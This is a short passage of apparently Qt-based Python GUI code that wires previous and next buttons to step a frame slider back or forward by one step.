delta * self.horizontalSliderFrames.singleStep())
self.prevButton.clicked.connect(lambda: setSlider(-1))
self.nextButton.clicked.connect(lambda: setSlider(+1))